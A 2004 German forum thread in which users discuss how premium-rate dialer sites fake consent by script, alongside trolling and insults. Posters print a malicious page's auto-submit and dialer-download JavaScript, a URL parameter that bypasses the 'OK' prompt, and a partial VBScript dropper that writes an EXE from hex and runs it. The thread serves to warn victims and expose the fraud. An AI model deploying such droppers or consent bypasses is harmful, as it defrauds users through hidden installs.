# Dialer Automatisierung



## Opfer (17 Januar 2004)

Hoi

Mir ist gerade etwas aufgefallen. Es gibt ja immer mehr diese "Gesetzeskonformen" Dialer bei den man ein oder mehrmal "JA" oder sonstwas eintippen muss, damit das ganze geladen wird. Bei diesen Webdialerformen wird ja auch, so wie es eigentlich sein sollte, oft eine AGB ausgewiesen, sowie die Preisstaffelung angezeigt. Was passiert aber, wenn man auf eine solche Seite gelinkt wird, und per Script oder Software die Eingabe des Wortes "JA" selbständig erfolgt ? Technisch ist das ja gar kein Problem, und ich habe das dumme Gefühl, das genau das so praktiziert wird. Unter Umständen ist es sogar noch einfacher, und es werden schon in der URL die nötigen Parameter übergeben. Was würde in einem solchen Fall passieren. Wenn man das ganze Spiel nämlich zurückverfolgen würde, würde es tatsächlich so aussehen, als wäre der Benutzer auf die Webseite gegangen und hätte die Eingaben selbst getätigt. Da man ja schon mit dem Focus rumspielen kann, und damit aufgerufene Webseiten "verstecken" kann, würde der User das gar nicht mitbekommen, und trotzdem würde es so aussehen als hätte man die Eingaben bewusst getätigt. Sollte die technische Möglichkeit ein Ansatzpunkt sein, um solche Dialer generell aus dem Verkehr zu ziehen ? Stichwort Sicherheit und so. 

Opfer


----------



## dvill (17 Januar 2004)

Die Manipulationsmöglichkeiten bei Dialereinwahlen sind vielfältig. Das ist in

http://forum.webmart.de/wmmsg.cfm?id=1461578&d=90&a=1&t=1528423

berücksichtigt.

Die ausführbare Programmdatei ist oft automatisierbar. Eine Testmöglichkeit ohne Programmierkenntnisse beschreibt

http://forum.webmart.de/wmmsg.cfm?id=847952&d=90&sr=26&a=1&t=1558627

Die Zustimmung zum Bezug wird oft per Skript eingeholt. Da kann jeder Anfänger den späteren Download-Link herausfinden und Webseiten basteln, die den gleichen Dialer ohne Zustimmung zum Bezug automatisch laden.

Da Dialerdrücker für ihre Werbetätigkeit bis zu 90% der Beute als Kopfprämie bekommen, darf man davon ausgehen, dass diese Tricks tatsächlich auch angewendet werden, mit oder ohne Mitwirkung der Dialeranbieter.

Dietmar Vill


----------



## Moritz (17 Januar 2004)

Jetzt wird es langsam lächerlich.


----------



## Opfer (17 Januar 2004)

Wieso dürfen dann solche Dialer (ob augenscheinlich Gesetzeskonform oder nicht) überhaupt noch eingesetzt werden ? Es ist doch ganz klar das diese nicht sicher sind. Das mit der Kopfprämie war mir im übrigen neu. Ich hoffe nur, das sich bei so einem Fall der Dialeranbieter nicht aus der Verantwortung ziehen kann (sollte aber eigentlich nicht Möglich sein, da er seine Software gegen solche Manipulationen schützen sollte). Nur um das ganze mal zu verdeutlichen (beim zweiten Link ist ja von einem Programm von 4,5MB die Rede):

Eine solche Automatisierung schreibe ich in unter 2 Minuten mit einer Programmgrösse < 8kb (Das fällt dann beim Download nicht auf).

Bei einem php Script wären es nur ein paar Bytes Code.

Was mich viel mehr interesiert ist, warum die RegTP oder die BSI dann solche menipulations gefährdeten Dialer nicht generell verbietet ? Prinzipiell ist ein Dialer (von der Idee her) nichts dummes, sofern er ordentlich programiert wurde und auch nur Lokal vom Anwender aus gestartet werden kann (Also z.B als *.zip oder *.rar zum runterladen wenn Interesse besteht). Ich denke hier besteht dringend Handlungsbedarf seitens der Gesetzgeber.

Opfer


----------



## sascha (17 Januar 2004)

> Was mich viel mehr interesiert ist, warum die RegTP oder die BSI dann solche menipulations gefährdeten Dialer nicht generell verbietet ?



Die rechtlichen Rahmenbedingungen sind in den vergangenen Monaten bereits in vielerlei Hinsicht verbessert worden. Selbstverständlich sind auch "manipulierte" Dialer insofern verboten, als dass sie damit der Rechtskonformitätserklärung des Anbieters bei der Registrierung widersprechen würden. Zu bedenken gebe ich ferner, dass bislang noch kein Nachweis vorliegt, dass derart getürkte "OK-Dialer" tatsächlich im Einsatz sind. Dass die theoretische Möglichkeit besteht, mag ich natürlich gar nicht ausschließen...


----------



## Heiko (17 Januar 2004)

Moritz schrieb:
			
		

> Jetzt wird es langsam lächerlich.


Was genau?


----------



## Veruschka (17 Januar 2004)

@ Moritz,

was soll daran lächerlich sein? 
Dialer startet bei der Installation  automatisch, da Aufruf durch Parameter und später lässt er sich nur noch durch die OK Eingabe aufrufen. Und bitte streite es nicht ab, dass dies nicht technisch machbar ist.
Frage,  ist jetzt der Dialer Gesetzeskonform? Soll er  nicht Gesetzeskonform sein, da er sich auch durch Parameter starten lässt?

Veruschka


----------



## cicojaka (17 Januar 2004)

Moritz schrieb:
			
		

> Jetzt wird es langsam lächerlich.



Da widerspreche ich mit Nachdruck!


----------



## Moritz (18 Januar 2004)

@all

einfach mal Saschas Postings lesen.


----------



## Opfer (18 Januar 2004)

Hi

Für alle dies nicht glauben, oder die sich nicht genau vorstellen können, hab ich mal eben schnell ein kleines Beispiel gemacht. 

Zur Demonstration

Dies ist nur eine Demo ! Also man kann sich da nichts einfangen oder so. Eine kurze Erläuterung noch am Rande. Das ganze besteht lediglich aus ein bisschen PHP und 4 Zeilen Javascript. Ich bin bei meinen Recherchen nämlich zufällig über eine Seite gestolpert, die recht ähnlich aufgebaut war. Man musste also auch lediglich in zwei normale Textfelder auf der Homepage "JA" eintippen um sich den Dialer einzufangen. Meine kleine Demo sollte wohl jedem klar machen, das es problemlos möglich ist, so etwas zu realisieren. Der Dumme ist wieder der User, weil er nicht beweisen kann, das er nicht selbst "JA" eingetippt hat (vor allem wenn die vorgeschalteten Link Seiten wieder verschwunden sind). Das ganze lässt sich im übrigen beliebig anpassen. So kann das ganze zum Beispiel auch ausgelöst werden wenn man eine Seite schliesst, über ein Popup oder sonstwie. Die Möglichkeiten sind (leider) unbegrenzt. Vieleicht sollte man der RegTP oder der BSI mal ein solches Beispiel vor Augen führen 

Opfer


----------



## dvill (18 Januar 2004)

Die Trickmöglichkeiten sind vom BSI bestätigt und in der Praxis nachgewiesen. Man findet viele Berichte von Geschädigten, die sicher sind, nicht "OK" getippt zu haben.

Bei einem Anbieter z.B. muss man nur den Zusatz "&okinput=ok" der Download-URL zufügen, um den direkten Download zu starten.

Das funktioniert also schon mit einem statischen Link. Mit Skript- und php-Funktionen lässt sich viel mehr machen, das vorstehende Beispiel ist schon ganz gut.

Es ist wichtig, die Manipulationsmöglichkeiten in das allgemeine Bewusstsein zu bringen. Einige Anbieter versuchen, die Existenz eines registrierten Dialers zu einer Rufnummer quasi als Beweis der Rechtmäßigkeit für alle Einwahlen zu werten.

Das ist grober Unfug.

Dietmar Vill


----------



## cicojaka (18 Januar 2004)

...und wie ist das nun eigentlich mit meinem komischen doorway-Fenster??? siehe Bild. Da landete ich bei domainschrott.de und sah aber amazon. Und dahinter lag folgende website:

<html><head></head><body>
 <form action='http://www.sms-stadt.com/smsstadt/' method='GET' name='frm1' target='frm1'>
 <input type='hidden' name='pid' value='sst-12596'>
 </form>
 <script language='javascript'>
 <!--
  document.frm1.submit();
 //-->
 </script>

 </form>


 <script language='javascript'>
 <!--
  F1 = window.open("http://install.stardialer.de/download.php? account=sst-12596&account=sst-12596&layout=","StarInstall","width=480,height=360");
 //-->
 </script>

</body></html>


Keine Ahnung von scripts, aber da könnte mir ja jemand sonst was unterjubeln... Oder kann man denn klicks im Fenster 1 nach Fenster 2 übertragen, wenn es zB zwei Frames wären?


[edit spätnachts: Der Gast im überübernächsten Beitrag bin ich... Habe Anmeldung vergessen]

fischchen]


----------



## Anonymous (18 Januar 2004)

zum Lachen oder Weinen.. oder einfach nur kurios?


Leute, habt ihr keine anderen Sorgen?


----------



## Moritz (18 Januar 2004)

Also ich find es lustig.

Das entwickelt sich hier zu einer regelrechten Dialerphobie.


----------



## cicojaka (18 Januar 2004)

Ich bekenne mich durchaus zu dieser Phobie. Damit Du auch wirklich was zu lachen hast, gebe ich Dir gratis noch die Info dazu, dass ich gar kein potentielles Opfer für dialer bin.

Aber erst einmal muss man alles ansprechen, was möglich ist oder sein kann und alle Hinweise sammeln, dann wird hier schon das Wichtige vom Unwichtigen getrennt. Da verlasse ich mich voll und ganz auf die Mods und auf die Dynamik der Diskussion (wenn etwas nicht für das Thema "illegale Dialereinwahlen" relevant ist, wird es hier auch nicht lange zum Thema, höchstens immer wieder mal kurz, was für die Vielleser evtl. lästig ist).

Gut, Du findest diesen thread also zum Lachen. Ok. Wahrscheinlich haben einige auch gelacht, als die ersten Opfer mit Hunderten von Mark/Euros auf ihren Rechnungen ankamen und sagten "Wir haben aber nichts geklickt"

Da haben so manche in ihrer Technikgläubigkeit gesagt "Das kann kein Betrug sein, die wollen's halt nicht zugeben".

Wenn da nicht alle Möglichkeiten durchgegangen worden wären und wenn sich da nicht viele Leute mit den Möglichkeiten beschäftigt hätten, dann hätte es mit Sicherheit noch immer keine Gesetzesänderung gegeben. Um da Änderungen zu erreichen, war eine gewisse Offenheit ggü. den Möglichkeiten notwendig. Damit meine ich zB: "Kann es sein, dass Dialer einmal so aussehen und einmal so?". Die Antwort auf diese Frage gibt es ja inzwischen. Oder: Kann es sein, dass Einwahlprogramme einfach verschwinden? Usw. Das waren auch "scheinbar" verrückte Fragen (und so lange ist das noch nicht her, lese hier mal die alten Beiträge)

Und lies Dir mal die Debatten des Bundestages/Bundesrates durch. Glaubst Du, dass es nicht sehr dringenden Handlungsbedarf geben musste, dass die aus parteipolitischen Gründen notorisch anzutreffende Bundesrat-Bundestag-Patt-Orgie hier immerhin ein neues Gesetz zugelassen hat? Dazu war die Auseinandersetzung auch mit scheinbar verrückten Ideen nötig. Sonst würden die heute noch um Kompetenzverteilung Bund/Länder und ähnliches Zeugs streiten.

Konkret zu meinem Bild: Es ist nicht meine Schuld, dass die Werbevermüllung von google und die dialer-Vermüllung zeitgleich stattfinden und ein Laie wie ich eben nicht das eine vom anderen trennen kann. Wenn Dich das amüsiert, kein Problem. Wenn ich ein amazon-Fenster sehe und darunter ist ein Fenster mit einem link zu einem dialer, dann mache ich mir da halt Gedanken. Ich weiß ja nicht, wie das Fenster ausgesehen hätte, wenn ich mit Modem und ohne Schutz dorthin gelangt wäre. Wenn Du lachst, sag mir doch wenigstens, was daran so unbedenklich ist, ok?


----------



## Anonymous (18 Januar 2004)

Anonymous schrieb:
			
		

> zum Lachen oder Weinen.. oder einfach nur kurios?
> Leute, habt ihr keine anderen Sorgen?



@Gast & Moritz

Ok, das von mir damals gepostete Beispiel stammte vom 30.12.03 ca.

Ich habe keine Ahnung vom Programmieren, aber ich habe experimentierfreudig das skript in eine Textdatei gepackt und diese als test.html abgespeichert und mit dem IE geöffnet.

Das Ergebnis? Ich bekam eine 404-Meldung. Aber kurz vorher... siehe Bild. Und noch was: Im Internet cache war KEIN Hinweis auf irgendeine Dialereinwahl zu sehen! Da tauchte nur "SMS-Stadt" auf, was übrigens in dem oben angeführten Beispiel mit keinem Wort bei google erwähnt war!

Also ich finde das nicht zum Lachen, tut mir leid!


----------



## Anonymous (18 Januar 2004)

*automatische dealer*

:evil: 
Müst ihr wirklich jeden Trick veraten?

Sollten wir nicht zu Samen halten???

Mario, AWM


----------



## Anonymous (18 Januar 2004)

Moritz schrieb:
			
		

> Jetzt wird es langsam lächerlich.



Lächerlich und dumm obendrein. Eine ausführbare Programmdatei per Script steuern und ein OK simulieren.......Auweiha. Sind hier nur DAU´s unterwegs. 
Es wäre einfacher die Telekomrechnung zu fälschen oder die Leitung des Nachbarn anzuzapfen oder die TAN`s der Onlinebankingsoftware zu kopieren.
Ihr habt folgende Filme zu oft gesehen und zu ernst genommen: James Bond, Matrix, Gladiator und zu letzt natürlich "Findet Nemo"

Max Grimm


----------



## Anonymous (18 Januar 2004)

Anonymous schrieb:
			
		

> Anonymous schrieb:
> 
> 
> 
> ...




Stardialerschrott? Wo isn auf SMS-Stadt ein Stardialer?
Habe nach 12 stündiger Suche keinen gefunden? Kann mir jemand helfen? Ich würde gerne so einen Sternwähler finden und mir an die Tür heften. Soll gegen Vampire und die gemeine ostindische Villmücke helfen.

Roger aus K.


----------



## Anonymous (18 Januar 2004)

Opfer schrieb:
			
		

> Hi
> 
> Für alle dies nicht glauben, oder die sich nicht genau vorstellen können, hab ich mal eben schnell ein kleines Beispiel gemacht.
> 
> ...



Du baust PHP-Seiten und Scripte? Und bist ein "Opfer". Wie ist denn das passiert? Hat der Drang nach Erfüllung der Fortpflanzung das logische und binärverständliche Hirn gelähmt? Oder war es ein s.g. MOBILDIALER oder KFZDIALER oder einfach gesagt ein AUTODIALER?

Hans die Wurst


----------



## Anonymous (18 Januar 2004)

Anonymous schrieb:
			
		

> Anonymous schrieb:
> 
> 
> 
> ...



Der Stardialer/Mainpean/Intexus-Dialer ist vielleicht auf download-url.de?
$whois download-url.de hilft dir vielleicht.


----------



## Opfer (18 Januar 2004)

Max Grimm schrieb:
			
		

> Moritz schrieb:
> 
> 
> 
> ...



Ich hab zwar keine Ahnung was "Findet Nemo" mit Dialern zu haben soll, aber OK. Ich gebe dir aber mal einen Tip: Die Reihenfolge für ein Posting sollte sein: lesen, denken,verstehen, posten. Es geht hier nicht darum per Script eine lokale Datei zu manipulieren, sondern per Script die Webseite zu manipulieren welche den Dialerdownload startet (und dieser kann sich als ActiveX sehr wohl selbständig machen). Da viele Anbieter dieser Dialer die Eingabe irgendeines Wortes auf Ihren Webseiten verlangen ist das ganze also weder dumm noch lächerlich. Und irgendwelche User als "DAU´s" zu bezeichnen ist auch nicht angebracht, schon gar nicht, wenn man sich mit einem Posting wie deinem selbst disqualifiziert hat  

@Hans die Wurst (Klasse Name übrigens - scheint zu passen): Für dich gilt die gleiche Postingreihenfolge: lesen, denken,verstehen, posten. Wenn du an Punkt 3 scheiterst, einfach nochmal von vorne beginnen 
Als kleiner Denkanstoss, da du ja schon so geistreiche Vergleiche bringst (Scripter können einem Script aufsitzen ?): Kann das Auto eines KFZlers kaputtgehen ? Kann sich ein Programmierer einen Virus einfangen ? Alles klar ?

@Admin: Ich wette das man bei verschiedenen Postern hier die gleiche IP in der DB findet  Es sollte vieleicht darüber nachgedacht werden eine Zwangsregistrierung einzuführen. Ist aber eigentlich schon toll zu sehne, zu was für geistigen Ergüssen sich manche unter dem vermeintlichen Deckmanterl der Anonymitär hinreissen lassen. Oder sind wir etwa jemand auf dem Schlips getreten der ansonsten ganz gern mal seinen Accountnamen bei "?referer=" oder "?account=" in einer Dialerdownload URL einträgt 

Opfer


----------



## Anonymous (18 Januar 2004)

Anonymous schrieb:
			
		

> Anonymous schrieb:
> 
> 
> 
> ...



Also STARDIALER findet sich mit Sicherheit nicht auf SMS-Stadt.
Intexusdial wäre richtiger. Wenn schon kleinlich dann auch richtig: Also -> Intexusdialschrott -> sieht auch viel schöner aus.

Alles Roger


----------



## Tonguru (18 Januar 2004)

Bin die Tage über eine eben genau solche programmierte Website gestolpert, die Aufforderung "Ja, weiter" war gut lesbar und wurde von mir auch bestätigt, da ich davon ausgehe, daß eine Bestätigungsabfrage im Dialer-Fenster selbst erfolgt.
Habe mir seit 2 Jahren keinen Dialer mehr eingefangen, weil ActiveX bei mir eine Sicherheitsabfrage auslöst, ich fühlte mich mittlerweile auch sicher, weil Firewall sowie YAW installiert und 0190 durch die Telekom gesperrt sind.
Nun, es tat sich eine Firewall-Warnung auf, die ich noch nie sah, "WINNT\System32\mshta.exe ist im Begriff, zum ersten Mal auf das Internet zuzugreifen".
Während ich noch versuchte, das einzuordnen, trennte sich auch schon meine Modemverbindung. 
Keine ActiveX-Abrfage, kein Dialerfenster, keine Zustimmungsmöglichkeit. 
Exakt 10 Sekunden später meldete sich YAW mit dem Hinweis "Prozess 1476 (C:\web.exe) ist verdächtig. Das Programm wählt oder erstellt DFÜ Verbindungen". Na klasse!
Es ist nichts passiert, YAW blockt alles, dennoch war ich erst mal verblüfft, daß mir so was wieder passiert ist, und ein weiteres Mal verärgert ob dieser Methoden!
"Web.exe" wurde auf meiner anderen Festplatte installiert (Windows läuft bei mir auf D), und von keinem Scanner erkannt (YAW, Spybot, Ad-Aware). Zumindest ist das Programm selbst anscheinend nicht agressiv, hab es gesichert und isoliert, es blieb bei dem einmaligen Einwahlversuch, trotz Eintrag in die DFÜ-Verbindung (natürlich sofort gelöscht).
Zur Internetseite: Die genauen AGB (hellrosa auf dunkelrosa, klasse lesbar) erläutern u.a. auch, daß man der Einwahl zustimmt, was allerdings weiter unten noch einmal mit zweifachem "JA"-Eintrag bestätigt werden muß. 
Ich schwöre, dieses NICHT getan zu haben, hab die AGBs ja gar nicht gelesen - ähem...
Dennoch installierte sich dieser Dialer. Hab die Website danach noch einmal offline getest. Und was passiert? 
Beim Klick auf "Ja, weiter" poppt ein Hinweis auf, "Sie haben die AGBs nicht akzeptiert". Hallo???
War das nun eine andere Site, als die, deren "Ja, weiter" ich bestätigte? Wird ein Cookie ausgelesen (hab ich mal gelöscht, Ergebnis bleibt)? Oder ist das zeitgesteuert? Gibts sonst irgendwo einen Eintrag auf meinem System, der die Seite anweist, höflicherweise die Sicherheitsabfrage zu aktivieren? Hängt es von einer vorgeschalteten URL ab? Waren die beiden "Ja" bereits eingetragen, als ich das erste Mal auf die Seite kam (womit wir beim Thema wären)?
Werde die Site hier nicht posten, erscheint mir zu gefährlich. Bei Interesse an der URL oder am Dialer bitte PN an mich.


----------



## Anonymous (18 Januar 2004)

Opfer schrieb:
			
		

> Ich hab zwar keine Ahnung was "Findet Nemo" mit Dialern zu haben soll, aber OK. Opfer



Da haben wir wieder das galaktische "OK". Wie ist es dort hingekommen? Per Script? Per Programm? Per Polizei? Per Papst? oder einfach per Eingabe einer Zeichenfolge. Als einfach so auf der Tastatur eingegeben. 
Man ist sich nicht sicher. Schreiben hier überhaupt Menschen? Oder sind das alles hier nur Chatbots ala Elbot (Elbot.de). Wieso geben hier unbedarfte Bürger einfach so "OK" auf einer Webseite ein. 

>(( NEW BANN VAR () )) "OK" "OKAY" "JA" < hilft eventl.

The Man of ohhhkkkei


----------



## johinos (18 Januar 2004)

dvill schrieb:
			
		

> Es ist wichtig, die Manipulationsmöglichkeiten in das allgemeine Bewusstsein zu bringen.


 :dafuer: 
Im Hintergrund steht doch wohl, dass hier im Forum nicht nur Insider fachsimpeln, sondern auch (hauptsächlich?) Schäden von unerfahrenen Usern ferngehalten werden sollen - durch Hilfen bei der Abwehr von Forderungen, aber auch Hinweis auf die aktuellen Gefahren. Und deswegen sind auch solche Demos wie von Opfer wichtig. 

@Roger aus K.: Zu platt ist es dabei, auf den Unterschied zwischen Star- und Intexusdialer ablenken zu wollen. 

Auch die Betreiber der "neuen Dialer" sollten verschärftes Misstrauen akzeptieren: Nicht jeder prüft den Hashwert des Dialers auf seiner Festplatte, zu vielen reicht es, dass die abgerechnete 09009-Nummer überhaupt registriert ist. Dafür gibt es zu viele, die ohne "Führerschein" mit fertig eingerichteten PC's am Netz sind.


----------



## Opfer (18 Januar 2004)

> Da haben wir wieder das galaktische "OK". Wie ist es dort hingekommen? Per Script? Per Programm? Per Polizei? Per Papst? oder einfach per Eingabe einer Zeichenfolge. Als einfach so auf der Tastatur eingegeben.
> Man ist sich nicht sicher. Schreiben hier überhaupt Menschen? Oder sind das alles hier nur Chatbots ala Elbot (Elbot.de). Wieso geben hier unbedarfte Bürger einfach so "OK" auf einer Webseite ein.
> 
> >(( NEW BANN VAR () )) "OK" "OKAY" "JA" < hilft eventl.
> ...



Ich werde mich hier zwar an keinem Flamewar beteiligen, möchte dir aber einen gutgemeinten Rat geben: Du du solltest mal öfters die Nähe eines weiblichen Wesens suchen. Das entspannt ungemein, und hilft dagegen Threats zu shreddern oder seine (und anderer Leute) Zeit mit sinnlosem Müll zu vergeuden. Wenn du also nichts *sinnvolles* zum Thema zu sagen hast, geh dich besser mit deinem Bot unterhalten. Ahso...bei dir erscheint mit eine definition der Bann Vars mit Wildcards als sinnvoll 
So, letzte antwort von mir auf solche "postings". Ich geh jetzt erst mal lecker chinesisch essen 

Opfer


----------



## cicojaka (18 Januar 2004)

Anonymous schrieb:
			
		

> Stardialerschrott? Wo isn auf SMS-Stadt ein Stardialer?
> 
> Roger aus K.





			
				Gast schrieb:
			
		

> Also STARDIALER findet sich mit Sicherheit nicht auf SMS-Stadt.





Im cache ist kein Zusammenhang zu sehen zwischen dem Dialerdownload und sms-stadt, das habe ich auch schon geschrieben... Man kriegt einen Unsinnslink bei google und wird zu einer amazon-Seite geleitet, die funktoniert, wie eine amazon-Seite mit einem ähnlich klingenden Suchbegriff wie der ursprünglich gewählte (war bei mir "adovai"). DAHINTER (oder darunter) ist eine funktionierende Dialereinwahlseite, die JETZT eine 404-Fehlermeldung provoziert. Das ist alles.

...und wenn da jetzt ein anderer dialer sein sollte, ist das nur noch interessanter...

Ende Dez. 2003 war da der stardialer und wenn ein Betroffener in diesem Forum nach stardialer sucht, weil er auf seiner Rechnung eine unerklärliche Einwahl findet, soll er von so etwas wissen. Besser: Sein Anwalt...

was den stardialer in meinem Beispiel angeht: 
siehe Bild, bei Bedarf: www.fielmann.de

Liebe Grüße
fischchen
[/img]


----------



## Rahmat (18 Januar 2004)

@Gast, Moritz, Wurstpelle + co.

1.) Siehe Opfer :"Für dich gilt die gleiche Postingreihenfolge: lesen, denken,verstehen, posten. Wenn du an Punkt 3 scheiterst, (Anm. meinerseits: was offensichtlich ist) einfach nochmal von vorne beginnen "
Hier besteht einzig und allein die Gefahr, dass Ihr Euch damit in einer Endlosschleife befindet, was die Menschheit aber verschmerzen kann.  

2.) Spätestens seit Dürrenmatts "Physikern" weiß jeder, dass alles was gedacht wird auch irgendwann gemacht wird.
Übrigens zu Eurer Information die Physiker sind Weltliteratur, keine Hotdogs. Einzige Systemvoraussetzung: Man muß lesen können.

3.) Eure "DAU's" sind diejenigen Leute die Ihr abzockt und betrügt. Wenn Ihr sie jetzt auch noch völlig daneben disqualifiziert und beschimpft, dokumentiert dies nur, dass Ihr noch noch rudimentäre Reste an Gewissen habt und versucht, auf irgendeine Art und Weise Euere Taten zu rechtfertigen, wenn auch sehr ungeschickt.

4.) Beleidigt nicht meine Intellligenz. Die Eure zu beleidigen, besteht keine Gefahr.

5.) Hier sind Gäste jederzeit willkommen. Nur: Es sind Gäste, die sich bitte auch entsprechend zu verhalten haben.

Wenn Ihr pöbeln wollt, macht das bitte unter Euresgleichen. Danke.

Wenn sich jeder von Euch nicht in jedem der hier angesprochenen Punkte wiederfindet, möge er sich bitte die Punkte aussuchen, die für ihn passen, in sich gehen und die Schnauze halten, bzw. beim posten nicht mehr vergessen vorher den "Hirn-an-Knopf" zu drücken. 

 Rahmat 

P.S.: 
Man möge mir bitte verzeihen, dass ich die Trolle gefüttert habe.
Wird nicht wieder vorkommen.


----------



## Heiko (18 Januar 2004)

Opfer schrieb:
			
		

> @Admin: Es sollte vieleicht darüber nachgedacht werden eine Zwangsregistrierung einzuführen.


Drüber nachgedacht wird oft.
In dem Fall sehe ich das aber anders. Diese Artikel haben aber eher einen belustigenden Effekt. Nimmst Du die ernst?


----------



## haudraufundschluss (18 Januar 2004)

total völlig anonymer Gast schrieb:
			
		

> Also STARDIALER findet sich mit Sicherheit nicht auf SMS-Stadt.
> Intexusdial wäre richtiger. Wenn schon kleinlich dann auch richtig: Also -> Intexusdialschrott -> sieht auch viel schöner aus.



Uns ist doch ziemlich egal, welches Etikett verwendet würde, wenn´s nur das wäre, was in der Datenbank hinterlegt ist. Wenn das Dialerchen als intexusdialerschrott.exe für den User zum Download bereitgehalten würde, wären wir doch schon einen Schritt weiter.


```
Sie müssen nur unseren Intexusdialerschrott downloaden und ausführen und schon können sie für teures Geld sehen, was es bei uns alles nicht gibt.
```

Wäre doch schonmal ein Schritt in die richtige Richtung.

Villmücke? Habe ich schonmal gehört. Guck in Dein Regal und kram´ mal die Indiana-Jones-DVD-Box raus. Da spielt die mit, glaube ich. Oder geh´ "uss Uwe" besuchen? Dem ist sicher auch langweilig...


----------



## Anonymous (18 Januar 2004)

*[james-bond-mode]*

In der RegTP-Datenbank müssen normalerweise auch die Adressierungsmerkmale
hinterlegt sein. Dazu gehören die Quell-URL zwecks Stichproben und Die
Sprungadresse, also die Adresse, auf die der Dialer nach Einwahl
"einspringt". Bei Mainpean / Intexus, wie auch immer man sie nennen möchte,
wird man in der Datenbank auf der Suche nach der Quell-URL schonmal nicht
fündig. Schaut man sich das hier an, kriegt man einen leisen Vorgeschmack:

http://www.mainpean.de/wochennews/archiv/2004/kw02/

Dort gibt es bereits 12 verschiedene Quellen, die der Dialerdrücker einbauen
kann. Zu jeder Quelle 
	
	



```
http://download._____.de/?account=
```
gibt es dann noch eine Variante

```
http://www._____.de/download/?pid=
```
,
woraus sich bereits 24 verschiedene mögliche Quellen ergeben. Dazu kommen noch während ich hier schreibe weitere mögliche Quellen, die aber nicht im veröffentlichten Newsletter genannt hat. Die RegTP wird natürlich nicht mit solch unwesentlichen Details belästigt und bei Registrierung werden selbstverständlich nicht alle Quell-URLs angegeben.

Wenn man sich jetzt vorstellt, dass die Berliner einen kompletten eigenen IP-Block besitzen und eigene DNS-Server, dann kann man mit den 256 möglichen IPs und den mindestens 24 möglichen Quell-URLs ein dermaßen schönes Bäumchen-Wechsel-Dich veranstalten, dass es der RegTP und den Geprellten ganz schwindlig werden kann. 

*[/james-bond-mode]*


----------



## Opfer (18 Januar 2004)

Heiko schrieb:
			
		

> Opfer schrieb:
> 
> 
> 
> ...



Ja lustig ist das schon, aber es verhunzt leider auch ein bissel denThreat, bzw. die Übersichtlichkeit leidet ein wenig darunter   

P.S: China Essen war gut  

Opfer


----------



## cicojaka (18 Januar 2004)

[email protected] wegen weiterer Thread-Zerfledderung, aber ich kann ja einem Gast keine PN schicken...



			
				Anonymous schrieb:
			
		

> In der RegTP-Datenbank müssen normalerweise auch die Adressierungsmerkmale
> hinterlegt sein. Dazu gehören die Quell-URL zwecks Stichproben und Die
> Sprungadresse, also die Adresse, auf die der Dialer nach Einwahl
> "einspringt".



Moment, dann ist das, was bei der RegTP "Adressierungsmerkmal" heisst, der Fleck im großen www, wo der Dialer "hinspringt" - und zwar NACH Einwahl? Dann ist folglich jeder dialer illegal, der da ohne OKs und trulala oder aber schon vorher hinspringt? Kann das jemand bestätigen?


----------



## Tonguru (18 Januar 2004)

*Was zu beweisen war!*

http://forum.computerbetrug.de/viewtopic.php?t=3710&postdays=0&postorder=asc&start=23

Und es geht doch!

Hat mir keine Ruhe gelassen, hab es von der ursprünglichen URL aus getestet, und siehe da...

Beim direkten Zugriff auf den "Mitgliederbereich" kommt stets die Sicherheitsabfrage, nach Umleitung durch eine externe URL jedoch sind die beiden "Ja" bereits brav eingetragen...

Habs nicht getürkt, kann jeder selbst probieren. 
Die (ursprüngliche) URL gibts aber nur per PN. 
Solange man nicht "Ja, weiter" klickt, passiert auch nichts (aktueller Stand, ohne Gewähr!).


----------



## cicojaka (18 Januar 2004)

@tonguru

Na dann, "Matlock ermitteln Sie" (siehe http://forum.computerbetrug.de/viewtopic.php?t=3665), oder irre ich mich da? Ach, ich irre mich, die Firma Matlock vom anderen thread sitzt ja in Belize. Wer's glaubt, wird selig...


----------



## Opfer (18 Januar 2004)

Nunja, die Firma mag schon auf Belize gemeldet sein, wer jedoch dahintersteckt, ist eine ganz andere Sache  

Opfer


----------



## Fidul (18 Januar 2004)

Heiko schrieb:
			
		

> Diese Artikel haben aber eher einen belustigenden Effekt.


Man könnte ja direkt ein Ratespiel einführen: Wer erkennt anhand des Postingstil vom Anonymling den eigentlichen Urheber? Entweder sind die Trolle gute Imitatoren oder jemand, den wir hier schon gut kennen.


----------



## Anonymous (18 Januar 2004)

Anonymous schrieb:
			
		

> *[james-bond-mode]*
> 
> In der RegTP-Datenbank müssen normalerweise auch die Adressierungsmerkmale
> hinterlegt sein. Dazu gehören die Quell-URL zwecks Stichproben und Die
> ...



Na dann sollte der "Sehnerv direkt ins Hirn geleitet" Mode angeschaltet werden: Die Stichproben mach die Regtp -> nicht der Dau. Kann er ja auch garnicht. Sein Blut sammelt sich gerade im Schwellkörper und findet keinen Weg ins Hirn.

Waldtrau die sich auch im Wald traut


----------



## Opfer (18 Januar 2004)

Oki, neue Erkentnisse:

Die Dialer sind in manchen Fällen offenbar gar nicht als *.exe Datei auf einem Server abgelegt, sondern kommen "als Hex-Code daher". Das bedeuted konkret:

Eine Seite (ab und zu VBscript verschlüsselt - huhh...jetzt bekomm ich aber Angst) enthällt z.B folgenden Content (Auszug):

<html> 


<script language="VBScript.Encode"> 

self.MoveTo 5000,5000

szZeroLine = "00000000000000000000000000000000000000000"
szBinary = ""
szBinary = szBinary & "4D5A90000300000004000000FFFF0000B8000000000000004000"
szBinary = szBinary & "000000000000000000000000D80000000E1FBA0E00B409CD21B"
szBinary = szBinary & "742062652072756E20696E20444F53206D6F64652E0D0D0A2400"

...

szApplication = "c:\Progra~1\Outloo~1\outl32c.exe" 
Set hFSO = CreateObject("Scripting.FileSystemObject") 
if not hFSO.FileExists(szApplication) Then
Set hFile = hFSO.CreateTextFile(szApplication, ForWriting)

Was passiert hier nun ? Eigentlich ist das ganz einfach: Die *.exe Datei wird auf den Computer "geschrieben". Wenn man eine beliebige *.exe Datei mal mit einem Hex-Editor öffnet, dann sieht man viele viele Hexcodes (z.B 4D5A..). Diese codes zusammen ergeben das komplette Programm. Über das FileScriptingObject kann man eine Webseite nun dazu bringen, eben diesen Inhalt als neue Datei auf den Rechner zu schreiben. Wenn ein Dialer z.B mit einem EXE Packert gepackt wurde (UPX wird offenbar sehr gerne benutzt - kost ja nix ), wird die so klein, das man das ganze Programm bequem in eine Webseite packen kann (Als Beispiel der DDialer.exe = 68kb wäre also kein Problem zu realisieren). Auf diese Art und Weise (und ich denke bei mir war es der Fall) kommt die *.exe gar nicht per Download auf den Rechner, sondern wird dort erstellt ! Praktischerweisse, kann der dann auch gleich gestartet werden (mittels dem Befehl: hShell.run(szApplication)).
